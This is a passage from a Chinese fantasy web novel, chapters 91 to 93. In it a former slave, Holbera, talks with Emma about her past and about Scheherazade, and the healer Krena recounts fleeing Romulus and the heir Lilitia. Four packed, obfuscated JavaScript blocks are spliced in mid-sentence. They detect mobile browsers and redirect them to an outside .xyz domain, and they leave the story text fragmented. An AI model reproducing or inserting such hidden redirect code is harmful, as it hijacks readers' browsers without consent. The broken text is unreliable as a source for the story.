“她对待身边所有佣人都很好,所有人都喜欢她。 “她将每一个奴隶当做平等的人来看待,这简直不可思议,更不要说她那样高贵的出身…… “她从外面买回奴隶的事不鲜见,但她决定把我放在身边,这似乎让她的贴身女佣很吃惊。 “她身边的佣人也像她那样和善,大家对我很好,教了我很多事情。 “她那时候已经结了婚,住在丈夫家族的庄园里。她把庄园管理得井井有条,上下都佩服她。 “但有传闻说,她跟丈夫的关系并不好。因为他们结婚六年,只有一个孩子。这在贵族中很少见。 “很多次用餐的时候,我陪同在一边。他们说话很少,都很客气,不像夫妻的对话,像在谈生意…… “啊,抱歉,我不应该说这些……只是,我有时候想到,她确实……并不幸福。我很难过。 “我十一岁的时候,夫人让我去照顾她的长子。 “她身边有很多佣人,我实际跟着她的时间不多,不太有跟着她见到少爷的机会。在那之前,我听说他的次数比见过他更多。 “他很像他的母亲。美丽,而且聪明,学什么都很快,老师们对他赞不绝口。 “但是……因为年轻,也一样有……玩心重,的时候。” 荷尔贝拉说到这里,顿了顿。 “他的课业很重,老爷对他抱有厚望。那些功课对他其实不难,但他很厌烦这些,时常翘掉课,不作任何通知就跑出门,还和老爷呛声。即使被重罚,也没有一点收敛。 “他从来不顶撞母亲,但答应夫人的话也未必实现。夫人为此很头疼。” “叛逆。”艾玛总结了她不好意思说出口的词。 荷尔贝拉沉默几秒,无可奈何地承认。 “夫人那时候有了第三个孩子,更少有精力跟他沟通。少爷身边没有人管得住他,他也厌烦管束。 “夫人没期望我做得到,只是希望跟他年龄相仿的人能跟他更亲近一些,好把少爷的动向及时转告给她。 “他确实把我留下来了,出于……同样的理由。 “他在功课时间翻出窗户,跑到外面去,让我不要把这件事告诉其他人。 “我当时觉得,我要完了。 “如果把这件事告诉他的母亲,他一定会赶走我;如果我不说出去,事后被夫人发现,她一定不会再相信我。 “我在那个空旷的房间里煎熬地一个人呆了一下午。我觉得我要完了。 “可是整整一个下午都没有人来敲门,没有人发现他不在。 “我害怕他可能已经在外面被发现了,胡思乱想了无数种可能。但谁都没有来敲门。 “在晚餐时间之前,他又没被任何人发现地从窗户翻回来了。” “我还是吓了一跳。因为他跑到城里去了,衣服上还有泥和草叶,头发也乱糟糟的。 “他很高兴我没有告诉任何人。我成为了他的同谋。 “他很惊讶我一直在房间里什么事都没做地等待,然后想到要教我认字。 “他在这方面也像他的母亲,不认为奴隶有什么应不应做的事。他想要我能看懂书,会写东西,会做算数,就开始教我。 “但,说实话,他不适合当老师。 “他太聪明,也不够有耐心。但是……他用文字和数字出谜题跟我玩游戏的时候,我很开心。 “夫人发现了这件事。她没有责备我。只是说,教人很耗费时间,不要耽误到少爷的功课。 “她亲自教了我认字和书写,连她的孩子们都是由家庭教师教授的……我受宠若惊。 “后来少爷还是会私自溜出门,我给他望风。说来很惭愧,我用来传递消息的法术,最初用在给他通风报信上。 “再后来……他溜出去的频率变少了。” 荷尔贝拉说到这里,停下来,又沉默了好一会儿。 “抱歉,我说了太多无关的话……本来只是想解释我是怎么得到识字的机会,我不太会讲故事,第一次说这些。”她干涩地说。 “作为故事来说,结束得有点突然,没听到后续更让我遗憾。”艾玛说。 “……抱歉,我……”荷尔贝拉收紧手,闭上了眼睛,“夫人……那位女士,对我的恩情,我不论怎样都无法还尽。但我现在……没有资格再提她的姓名。” 艾玛看了她一会儿,折过身翻开空置地扣着的杯子,给她倒了杯茶: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16400707|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “说了这么多,喝点茶吧。” “谢谢……”荷尔贝拉空出一只手,接过茶杯,这次没有推拒艾玛的邀请。 艾玛也拿起自己的茶杯喝了一口,指了指荷尔贝拉手里的书:“这本书就给你吧。” 荷尔贝拉一愣,立刻习惯性地回绝:“不,这太贵重——” “那就当,是我借给你的,你有兴趣,我最近也不看。等我什么时候想起来,需要的话,我再问你要。”艾玛说,“听了你的故事,这是回礼。” 她停了片刻,说:“很抱歉,现在说这样的话……今天我向您讲的事情,您可以,不要告诉其他人吗?” “嗯,你放心,我没有讲故事的才能,所以一般什么都不讲。比起我,你刚刚说得好多了。” “只是因为喜欢看故事……这类不正经的爱好,或许稍微擅长上一些。蒙您夸奖,很惭愧。” 艾玛叹了口气:“我也喜欢看故事,下次不要再说这不正经了,不然把我也给骂了。” “抱、抱歉,我会注意……” “说起来,这本《一千零一夜》,虽然我欣赏它的设计,但它收录的篇目版本并不是我最满意的。包括我最喜欢的《阿拉丁》的故事,还是之前收集的另一个版本更好。” 荷尔贝拉看了一眼书封,她对书里的故事也耳熟能详:“您喜欢《阿拉丁》吗?” 故事主人公的名字和标题同名,艾玛以为她指的是角色,摇头道:“我喜欢的是故事里那个神灯中的精灵。” 荷尔贝拉说:“因为他无所不能?” “虽然神灯总是被描述为单纯用来实现愿望的道具,但我很好奇灯里精灵的来历:他能实现任何人的愿望,为什么不能实现他自己的呢? “故事里完全没有解释他经历过什么,阿拉丁也丝毫不好奇,仿佛理所当然觉得为人实现愿望是精灵的天性。 “但在我后来看到的一些版本里,阿拉丁和精灵成为了朋友。 “精灵解释了自己为何被关在灯里,在故事的结尾,他也获得了自己的自由和幸福。 “这些版本可能是后来作者的杜撰,为了圆满这个故事的缺憾。但我喜欢这样的解释。” 提到自己喜欢的故事和角色,艾玛难得话多起来。 说到这里,艾玛一拍手,房间远处书架上的书突然四散飞起,漂浮在空中,仿佛经过空气的拣选,其中一本飞向艾玛,落到她手上,其他书本回到了书架上的原位。 “在那些解释里,关于精灵的来历和结局,我最喜欢这个版本。 “不向你透露细节了,这样读起来更有趣。你也拿回去看看吧。” 艾玛不由分说地把它塞给了荷尔贝拉,想想,又认真补充一句:“这本看完就还给我哦。” 新的那本较薄,封面上写着《阿拉丁和神灯》,不是完整的《一千零一夜》。纸质和印刷也随意许多,边角粗糙,但看得出主人很爱惜,有好好保存。 荷尔贝拉认真地收好了它们。 艾玛似乎心情很好,突然问起来:“那,贝拉,《一千零一夜》里,你最喜欢哪个角色?” 荷尔贝拉顿了一下,握着书,似乎很犹豫了一会儿,沉默了数秒才说:“……山鲁佐德。” 她意识到自己的声音太轻,于是重复了一遍:“我喜欢山鲁佐德。” 91.山鲁佐德 《一千零一夜》指的是广为人知的民间故事集,由无数个故事组合而成。 其中,有一个故事贯穿首尾,将其他故事全部串联在了一起。那个故事是这样的: 曾经有一个王国,国王因为遭遇了王后的背叛,开始仇恨所有女人。 他每天要娶一个女子,第二天早晨就杀掉。王国中人心惶惶,民不聊生。 宰相的女儿山鲁佐德站了出来,主动要求嫁给国王。 她每晚为国王讲一个故事,每每讲到最精彩的地方就已经天亮,国王为了听到故事的结尾,将她的死期一延再延。 就这样,山鲁佐德的故事讲了一千零一个晚上,国王被她所感动,最终与她白首偕老。 而山鲁佐德在这一千零一个晚上所讲述的故事被记录下来,就称为《一千零一夜》。 在后世,除了许多经典篇目,不少没有明确来源的故事也被人塞进这个合集里,沾了这个名字的光。 人们相信山鲁佐德的故事多得永远讲不完,一千零一夜包容的故事无穷无尽。 艾玛说:“是女主角呢。” 山鲁佐德确实可以算是这个庞大故事群中的主导角色,荷尔贝拉嗯了一声。 “我也喜欢山鲁佐德,她很会讲故事。我听说,在有些地方,山鲁佐德被奉为‘故事女神’,是很多创作者的崇拜对象。 “很难说是确有这样的神明,才有了这个故事形象;还是因为这个故事,这个神明的形象才被人们具现——抱歉,最近的看的书里刚好提到这个,有点偏题了。” 艾玛回过神,“你喜欢山鲁佐德的什么地方?” “……她很勇敢。”荷尔贝拉说。 “嗯。” 艾玛继续望着她。 荷尔贝拉感到种被期待接着说些什么的压力,半天才继续道:“您认为,山鲁佐德的结局怎么样?” “她实现了她的愿望,救了其他无辜的女性,制止了国王的暴行。是好结局。” “一千零一个晚上的故事……真的能改变国王的心意吗?” 艾玛想了想:“如果要较真,确实有很多不合理的地方。 “比如王国的政治体制,国王的统治力为何这么绝对,如此暴政下怎么维持国家公共体系正常运转,民众在恐慌中逃往他国造成大量人员流失以至于经济秩序崩溃,还有内部分裂、叛乱、起义、外交、战争危机等等一系列可能存在的问题。” “确实……” “只能说,故事是在一个理想化的环境里发生的,甚至是先确定了这个结局,才去圆前面的故事。 “以前,我的语文老师跟我讨论故事结构的时候,有分析过这样的角度。” 艾玛点点头,“民间故事里,大家都更偏爱皆大欢喜的好结局。好人要幸福,恶人要受罚。无论开头的设置和剧情的展开怎么样,故事都要回到这个主旨来。 “不论过程如何牵强和不合理,只要结果好,就是令人满意的。即使编故事的人也未必相信自己给故事设置的解答。 “我也想过这样的问题,像是—— “山鲁佐德真的爱国王吗?” 荷尔贝拉一震,动了动嘴唇,没有发出声音。 艾玛仍然在思考:“有人诗意地说,山鲁佐德以自己的智慧与才能为武器,和国王的权力搏斗。但这本质是不公平的斗争,山鲁佐德的筹码只有用故事博得的国王的好奇心,虚无缥缈的东西。 “那一千零一天里,国王但凡转变主意,山鲁佐德就会死去,用性命来赌自己改变对方的可能? “唔,我是觉得,将自己的性命寄托在别人的一念之间,是非常危险且不值得的事情。如果不是故事的结局已经注定,国王真的会醒悟吗? “她嫁给国王并不出于爱情,和国王周旋也不过为了救人和自救,没有选择的选择。 “在稍有不慎就会死去的环境里,必须足够聪明和好运才能存活的压力下,爱情会自那之中产生吗? “我总觉得这对山鲁佐德来说,大概不是个好结局。 “如果国王真的醒悟……理当为被他杀死的无辜女人谢罪,更应该让山鲁佐德自由。” 艾玛想到这里,摇摇头:“山鲁佐德的故事说法很多,但在我的母国,普遍是这个版本。 “也有人说山鲁佐德是故事女神化身,为了救人而降临人间,或者她对国王早有恋慕之情……我还是觉得这样的解释太看低她了。 “正因为是会轻易死去的人类,她所负担的风险,她的勇敢、善意和智慧才令人敬畏。” 荷尔贝拉犹豫了一会儿,说:“您不喜欢这个故事吗?” 艾玛有点惊讶:“不,我很喜欢。” “呃,抱歉,我看您说了这么多不满意的地方……” “因为在意,才会在有地方想不明白的时候分析很久——纸面上的故事,戏剧和角色,分析无关的他人容易太多了——虽然答案未必标准,但起码容易在逻辑上说服自己。反而自己的事总是想不明白。” 艾玛顿一顿,道,“我觉得《一千零一夜》是个很浪漫的故事。在浪漫故事里追求现实,确实太辛苦了。嗯,打住,不想了。” 房间里又陷入了安静。 荷尔贝拉垂着眼睛,想了一会儿艾玛刚才的话,抬起眼时又被艾玛直直的目光盯了一激灵。 艾玛感觉到她还是很紧张,收敛了一些:“抱歉,让你有压力了。” “不、没有……”荷尔贝拉迅速否认,舔了舔嘴唇,干瘪地问,“我这样,是不是很扫兴?” 似曾相识的问法。 艾玛记得自己很早的时候,偶尔也会这么问别人。 “倒是没有。”艾玛说。 “我、不太擅长……就是,发表自己的想法。虽然,翻译和转述都还可以,工作、社交都能完成,但是,一到要自己思考,再表达点什么的时候,就……很困难。”荷尔贝拉艰难地说。 “听起来,你好像不太了解自己的想法。”艾玛说,“这点我倒是一样。” “您明明很有想法,能思考那么多……” “提出和主流解读、正确答案不一样的观点,只是就事论事的质疑。我可以借助它们梳理我对他人和事物的看法,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16408321|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是逻辑角度,置身事外的。 “真正在感情方面的事,关乎自己,我一直想不明白。” “能让您困扰那么久?” “我有一个喜欢的人。” 荷尔贝拉感觉呼吸停了片刻,看到艾玛困惑地摸了摸自己的胸口:“我想是‘喜欢’,特殊的,因为跟我对其他人的‘好感’不一样…… “但是,我自己也不明白为什么,为什么会有这种感情,它代表什么意义,如何与它相处……你不需要这么紧张吧?” 荷尔贝拉轻声问:“是那位……和您一起的,红色头发的先生吗?” “嗯,很明显?” 荷尔贝拉迅速果断而肯定道:“我不会说出去的。” 艾玛愣了一下:“说出去也没关系,我没有想要保密。” “啊,是、是吗……可是……” “西里斯也不会在乎。我不知道,他在乎的话是不是更好。”艾玛的语气很平淡,像说的事和自己无关,“我喜欢的人大概不喜欢我,从理性角度看,放弃比较好,‘聪明点’,也相对不容易毁坏关系。 “如果追求对等的、有回报的感情,应该选择一个更具可能性的对象。明明知道这么简单的道理,但感情就像是身体本能一样的东西。 “无法和理性对话,无法分析,无法解构。我始终做不到。” 荷尔贝拉张了张口,目光落在地面上,低声说:“可是,喜欢什么人就是这样的。” 艾玛歪过头,道:“你有喜欢的人?” 荷尔贝拉沉默了,唇瓣抿成一线。 “好吧,我不问了。你别紧张。” 艾玛用魔法隔空浮过荷尔贝拉的杯子,给她添了茶:“很少有人这样跟我谈论故事。我的朋友里喜欢看书的人不多,或者对故事的看法和角度跟我很不一样。 “西里斯看书太快,比起享受故事,他更像在书里寻找有用的部分,现在更加不太和我聊这些……你能耐心听我说这么多,我很高兴。而且,你抓到的重点都很有意思。” “您过奖……”荷尔贝拉忙接过艾玛再次递来的茶,低头掩盖表情。 “下次,有机会的话,我还想听听你对更多故事的想法——如果实在为难就算了,不要太勉强。” 荷尔贝拉看着杯里摇晃的水纹,说:“……我也很高兴。” 艾玛眨眨眼睛。 “承蒙您的好意……我,嗯……阿瓦托芬,这里,大家都很好。 “但是很多时候,我会想起以前的事情,我总觉得我不值得这些好意……您很温柔,殿下。” 荷尔贝拉抬起头,视线仍然有点偏移,落在艾玛附近,又没有真正看着她。 她的肤色偏白,紧张的时候苍白得更吓人,现在这样微微发热时的绯色也更显眼,从耳根渗透到了面颊上。 “我想……下次,明天,我想带几本我喜欢的书来……如果您有兴趣的话。” 她说得仍然有点艰难,“我不擅长说,但可以提前写一点感想。在纸面上梳理思路,或许好一些。” “我很期待。”艾玛微笑起来。 92.背乡 艾玛再一次拜访医疗部的时候,克蕾娜看见她已没有那么紧张了,只是从座椅上站起身来,看了一眼钟表的时间,对艾玛道:“他去了温室——大概还有半个小时才回来。您要等一会儿吗?” 艾玛点点头:“好的,打扰了。” 克蕾娜为她倒了茶,艾玛自己把椅子添到了她的办公桌附近,靠墙坐着。 克蕾娜手头还有两笔写到一半的文件,对艾玛道一声抱歉,递完茶便回到了办公桌前。 这个视角,正好能打量整个房间。 办公室里医疗相关的器械都整洁有序,无关的杂物却堆置得随意。 架子上的植株每回来见到的都不一样,有的缺叶子少花,有的直接换了品种,自在盎然地舒展着枝条。 办公桌右边是实验台和收纳相关工具的储物柜,茶具也放在里面。 再往右,房间的最西侧,有一张医用的床铺,此刻空置着,床边遮挡的围帘半掩。 克蕾娜是外科医生,艾玛猜测那张床也能作为手术台。 治疗魔法在所有魔法种类中,是适用度最广的一档,又是擅长者最稀缺的一类。 克蕾娜毫无疑问是其中佼佼者。艾玛从她身上感到一种令人安定的魔力波动。 克蕾娜收尾了文件上的内容,合上笔盖,发出咔嗒的轻响。 她想起艾玛的存在,正思考该说什么话题,艾玛已经主动开了口。 “我小时候以为外科医生是不用魔法和药物的,凭着各种各样的刀、剪子、钳子,甚至针线来处理伤口,看起来很疼。” 克蕾娜停了两秒,说:“在经济和魔法落后的地区,这些仍然是手术的常规工具,我很遗憾。这样会带给病人更大的痛苦,感染风险高,预后出现的问题也更多。 “很多外伤其实不需要手术,只通过魔法或者相应药物就可以治疗,手术刀等工具反而是辅助手段。 “这类治疗方式通常能有效减轻病人的疼痛,恢复效果也更好,最佳情况甚至能复原如初。这也是我一直研究的方向。” 艾玛看了她三秒,说:“克蕾娜小姐确实很温柔。” “您客气了,这是我的本职,应该的事。” “克蕾娜小姐是本地人吗?”艾玛问,“我在阿瓦托芬待了一段时间,银色的头发在这里很少见,只有神谕祭司阁下和你有着相似的发色。” 克蕾娜放下笔,揉了揉眉心:“从他来到这里的第一天,我就被问过无数次相似的问题。也没有办法,我和利利提亚……大人,确实都出身于罗穆卢斯。 “实在要追溯血缘,可以说,我是他的远亲。 “但请不要误会,在来到阿瓦托芬之前,我们并不认识。起码没有互相认识。” 克蕾娜按着眉骨,组织了一会儿语言,才慢慢道:“我不知道您了解罗穆卢斯这个国家多少。 “大约一百多年前,罗穆卢斯结束了王政时代,建立了三权分立的共和制。 “它富有且强大,发动了无数战争,吞并国土,使得罗穆卢斯的规模到达了前所未有的程度。 “直到三十多年前,它开始逐渐停止对外战争,贵族们的视野都聚焦到了国内。 “——难得的和平时代。虽然人们这么评价,我的母亲并不这么认为。 “我出生在奥古斯塔家族,奥古斯塔·克蕾娜,我原本的名字。 “这个姓氏源自罗穆卢斯的王族,至今属于罗穆卢斯最显赫的家族之一。 “话虽这么说,跟我其实没多大关系。 “我的母亲是奥古斯塔的旁系,祖母说她从小就是个没有贵族自觉的野丫头。 “别人读书练习法术,她就喜欢摆弄刀具和花草。家里好几个兄弟姐妹,她就从没担心过继承家业的事,觉得有人担着。 “她后来对药植感兴趣,研究起了医学,机缘巧合认识了我父亲。 “我父亲是个平民医生,出身坎坷了些,祖母本来不同意这门婚事,但他俩爱得轰轰烈烈,没人拦得住,祖母最终妥协了。 “从小他俩没少给我讲这段情史,我听腻了,其实也没什么意思,就不提这个了。 “我从小对医学感兴趣,后来决定成为医生,也离不开父母的影响。 “我有一个哥哥,兴趣很普通,适合正常贵族教育的那套,在我和父母映衬下反而另类了点。 “到十二岁的时候,我展现出了治疗魔法方面的才能,但我的父母并没有很高兴。 “您也提到,我的——发色,很少见。 “据说罗穆卢斯的王族曾得到神兽白蛇的授血,因此拥有银色的头发和蓝色的眼睛。后裔中显现出这样外貌特质的人,被认为拥有更纯正的血脉。 “在奥古斯塔,越靠近本家的人越常见银发和蓝眼。 “我是个意外。我的母亲是深灰色的头发,父亲是黑色,出身又在旁系,不知道哪部分的遗传在开玩笑,反而有这样接近本家的银色头发,还有蓝绿色的眼睛,甚至比本家里某些成员更‘正统’。 “我小时候没觉得这有什么问题,只是后来才明白,祖母对我的偏爱出于这样的原因。 “我母亲玩笑说,她要是有我这样的发色,小时候能少挨不少骂——不过,也恐怕不得不对家族负有责任,不能随自己心意玩了。 “我母亲这样的人,不认为对家族有益就是荣耀,头衔声名比不上自在快活。 “我返祖遗传的外表,少见的魔法才能,使我具有接近家族核心的资质,甚至有靠近那个国家中心的可能,她对此反而忧虑。 “她认为,罗穆卢斯的和平只是一时的,战争的余热并没有褪尽,反而积蓄起来,将在可见的某一天再度爆发——在这个国家之内。 “‘外战之后是内战’,从其他国家掠夺而来的财富和资源,安排得并不让所有人满意,早有贵族想对这一切进行重新分配。她认为那一天不会太远。 “母亲说我像她,脾气躁,脑筋慢,心直口快。一旦卷进权力斗争,就是最先被推出去当炮灰的那块料。 “她花了几十年学会的事情,我未 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16415187|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 必能安然无恙地活着学会。 “所以,她希望我离开那个国家。 “当然,不那么容易,离开一个这样的家族就已经不简单。 “于是母亲想到了宗教。 “罗穆卢斯很重视宗教。信仰上的问题,可以有些特例。 “我们家信仰月神,母亲对月神神殿的事也略有了解,出于信仰上的信任,认为这里一定是个好去处。 “然后他们就排了个说法……对您提这些太不好意思。 “简单地说,我母亲假称受到了月神的托梦,月神召唤我到祂的神殿所在去,我和父亲哥哥也一口咬定梦见同样的情景。 “我装作确有此事,心意坚决,无论如何要去往圣地侍奉神明。 “不是夸张,这样的说法还真有用,连我祖母都被唬住了。 “涉及神明,信徒都会迟疑。我还表现自己‘其实没什么魔法才能’,降低她的期待。 “祖母最终答应了。我在家里待到十六岁成年,跟着官方的商队离开了罗穆卢斯,花了近两年时间抵达神殿。 “我的故事差不多就是这样。” 克蕾娜喝了口茶润喉,低着目光淡淡道:“我不擅长撒谎,也不喜欢演戏,但那几年却表现得很坚决,连我自己都意外。我确实信仰月神,但不是狂热到这种地步的信徒。 “只是,我大概也能理解,和母亲一样,我其实并不喜欢那个国家。 “哪怕我出生在那里,在那里长大。我确实发自内心想离开那个地方。 “虽然,对于家人,我仍然很不舍,但他们现在似乎过得还不错,让我还算宽慰。 “我母亲说,以她这个家族旁系里无足轻重的地位,真有哪一天爆发了内战,也波及不到他们身上,没准她跟我父亲会一起去做街头医生,我哥给他们管账,她还有点期待。 “我现在大约每年和他们通一次信,平时都把想说的话写一点记下来,尽量不遗漏地整理好寄送一次。 “罗穆卢斯和阿瓦托芬相隔太远,送信鸟四处歇脚中转,也要花上很久,不算急件的信就得送那么长时间。有时候我也想回去看看他们……” 克蕾娜停下来,沉默了好一会儿:“我不知道我还会不会回去。我既希望也不希望。” 克蕾娜又喝了口茶,却并没有停顿太久,接着讲道:“关于利利提亚,反正,我当年怎么都没想到会在月神的神殿见到他。比起我这种钻空子的温和手段,那家伙简直是——” 她咬住自己的舌尖,堪堪咽下话头,眉心又皱起来了,再喝了口茶。 话题一转到利利提亚身上,她肉眼可见地烦躁起来。 “请见谅,殿下,我对那家伙有点私人情绪。 “客观地说,他是个优秀的人,甚至是个各方面能力都出色得可靠的同事。我的发言一定有偏颇的地方,您可以对他抱有自己的看法,请将我的话作为参考就好。 “‘利利提亚’……他的本名是‘尤利乌斯·利提亚’,尤利乌斯家族原本的继承人。” 93.继承人 克蕾娜停顿了一下:“他在来到阿瓦托芬之后改掉了自己的名字,还重定了自己的生日。 “我实在不觉得这些举动有什么意义,但他反正方方面面都让人难以理解。” “我向您提到,罗穆卢斯是因为对外战争而强盛的。 “有许多武将的家族因此不断封功受赏,即使在王政时代结束之后,他们也仍然从后来的战争中获得了诸多利益。 “这些财富和名誉提供了他们足够的基础,在现今的罗穆卢斯,这是许多极有权势的家族经历的写照。 “‘尤利乌斯’就是这些家族之一。 “我不喜欢打探别人的家事,但尤利乌斯实在太有名,我在社交场合被迫听了不少。 “尤利乌斯·利提亚的父亲是尤利乌斯家的家主,母亲是奥古斯塔家主的长姐。 “利提亚是他们的第一个孩子,甚至在之后数年内,都是唯一一个。 “光凭这点,他的继承人身份就很难撼动。更不要说,没有人不赞叹他的出色。 “即使是我,在年龄相近的贵族沙龙里都要听厌了。类似于他的成绩、风度,什么‘天使般的美貌’,吹得天花乱坠。 “我完全不信,觉得他们好夸张,大抵是文学课里刚记下来的形容词没地用才都往他身上堆。 “因为直说了这类感想,主办那个沙龙的女生后来就不再邀请我了。 “但是我不喜欢社交,对别人的感想也迟钝,过了好久才意识到这回事,虽然也无所谓。 “后来我想,那些浮夸得要命的形容也有一定的根据。 “利提亚确实很优秀,因为优秀得太过毋庸置疑,想攀附他和他背后家族的人才如此急迫。 “朴实的修辞太平淡,才想要堆砌更多华丽的词藻,好像能证明自己更真诚似的。 “有一次,我记得很清楚,一个经常来我们家做客的伯父,我母亲的堂弟,是个热情的人,每次来会带点礼物,稀奇古怪的小东西,那时候我还挺喜欢他。 “那天他来我们家的时候空着手,我不太高兴。 “但他兴致很高,进门前就喝过了酒,母亲想给他烧点醒酒汤,他说不用,就在客厅和我父母聊天,讲了一大堆。 “我听得厌了,想回房间,又看见我哥守着待客礼节跟着坐那儿,觉得不能扔他一个人,就窝在沙发里也跟着硬坐。 “我还想,我要是在那儿睡着了,他能不能意识到自己讲的话太无聊。 “但他声音很大,我被吵得没有困意。 “他那天刚参加过尤利乌斯家的晚宴,急着跟人分享宴会上听来的新消息,说着说着,就提到了利提亚,‘尤利乌斯家的继承人’。 “也没什么新鲜的,无非是夸聪明、厉害,恭维话听多了谁都不会当真,我左耳进右耳出地听,他说: “‘那孩子绝对是百年一见的天才!真是生不逢时啊——他要是早生个三五十年,罗穆卢斯的版图一定是现在的一倍不止!’ “我父母听了都笑笑就过,当这是醉话的一部分。但我莫名觉得很不舒服。 “夸张的赞美我听过不少,别说‘百年一见’,他们夸人的时候恨不得时间尺度是千年万年,什么‘一倍’,起码该翻个三四五六番。 “那个伯父平时就是说话会夸大的人,那话修辞反而莫名过于保守,以至于像句没醉的实话。 “不知道为什么,我记了很久。那之后我就开始讨厌那个伯父了。 “还在罗穆卢斯的时候,我见过利提亚,在运动会上。 “罗穆卢斯每年都举办运动会,给贵族们明里暗里的较劲多一个舞台,也是家族实力的展现和炫耀。 “有贵族间的竞技,还有奴隶间的比试。后者更血腥些,您也知道……被当做炫耀的消耗品,他们使用的时候不会爱惜。 “贵族们的竞技项目大都光鲜亮丽,有各种魔法设施作为保障。不公平的事也有,多发生在没什么势力的家族身上。 “每个人最多同时参加三个项目,利提亚只报了一项:剑术。 “剑术是贵族们的基本功,就算不看实用性,也有许多人出于观赏性喜爱它,是贵族竞技中最受欢迎的项目,竞争也最激烈。 “观众年龄没有硬性门槛,我六岁开始,母亲就带我去看运动会里贵族竞技的部分。 “当年我觉得挺好玩的,还问母亲我将来能不能做场边那种给选手治疗的医护人员。 “我十二岁的时候,在剑术比赛场上见到了利提亚。 “那之前,我在传闻里已经听过他太多次,在观众席上第一次见到他才明白,那些对他外表夸张的赞美也不是毫无道理。 “剑术比赛的最低参与年龄是十四岁,他那年刚到标准,很多对尤利乌斯家继承人有所期待和顾忌的人都翘首以盼……他也确实没让他们失望。 “禁止使用魔法,双方拿的都是主办方提供的剑,擅长治疗魔法的医护人员在场边待命。 “使对手无法行动,或者对手认输即为胜利。 “没人来得及认输。 “利提亚的胜利是压倒性的,甚至谈不上观赏,因为一切结束得实在是太快了。 “我看过好几年的比赛,剑术比赛的观众席上向来很热闹,那次却太安静了。 “我听到有人说他是‘怪物’……当之无愧。” “他参加的比赛,我只看过两届,后来就没去了。只是听人说,他连续三年都是剑术比赛的冠军。 “第一年还有对手能让他受伤,之后两年,他都是无伤全胜,压倒性的战绩。 “罗穆卢斯的运动会有三届连冠便不再参赛的规矩,第四年他作为嘉宾出席,为下一届冠军戴冠。” 克蕾娜又喝了口茶,沉默了几秒,然后说:“我还在罗穆卢斯的时候,跟他算得上交集的事,大概就这么多。不是远远地见过,就都是天花乱坠的传闻。 “拿传闻来认识一个人不可信,我知道。虽然我那时候就不太喜欢他,但反正只是种感觉。” “我从来没想过会在阿瓦托芬见到他。”克蕾娜又重复了一遍,抬起头,看着艾玛的眼睛,“听了我刚刚说的那些——您能想象吗? “一个万众瞩目、备受期待的继承人,声名、权力、地位全部唾手可得,却——当众宣布脱离家族,离开那个国家。” “我真觉得他是疯了。”克蕾娜吸了口气,“我不是说他应该沉迷权势才是好事,也有出身贵族但不迷恋这些的人。 “我觉得匪夷所思的是,在我听过的印象中,尤利乌斯·利提亚是个非常出色的家族继承人,几乎无可指摘。 “在我离开罗穆卢斯前,就听说他接手了家族的工作,家族内部也和谐稳定。 “很多人甚至议论,罗穆卢斯接下来可能是尤利乌斯家族的时代了。 “没有人能胁迫他,不可能有谁逼他这么做。但他就是……自发地做出了这么疯狂的决定。 “是的……自发。现在我完全能够确定,他很高兴这么做。” 克蕾娜又显现出一点焦躁,搭在小臂上的手下意识收紧:“我在家人寄来的信里知道这个消息,信到得比他早一些,我有那么一阵子以为是个荒唐的传言。 “他正好在我离家后一年离开的罗穆卢斯,比我晚到阿瓦托芬一年,巧合得让人无话可说。 “利利提亚最早进的巡防营,正好是跟医疗部联系密切的部门,又因为发色相似,出身地相同,没少被人问起关系。 “本来什么关系都没有,反倒问着问着被迫熟起来……真让人火大!” 艾玛为她倒水,以示安慰和消气。 克蕾娜抹了抹脸,泄气般喃喃:“我只是不明白……如果他从来不向往家族能给他的东西,却把那些‘职责’完成得那么好,符合他在那个位置时被施加的一切期待。 “又如果他只是被那些职责背后的亲情、关系和期待所迫使,沉重到那种程度的枷锁,却这么轻而易举地说摘掉就摘掉。 “我真不能想象——也或者只是因为设身处地,我觉得自己不可能……这怎么做得到?” 她屈起的手指抵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16420959|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住上唇,深呼吸调节自己的情绪。 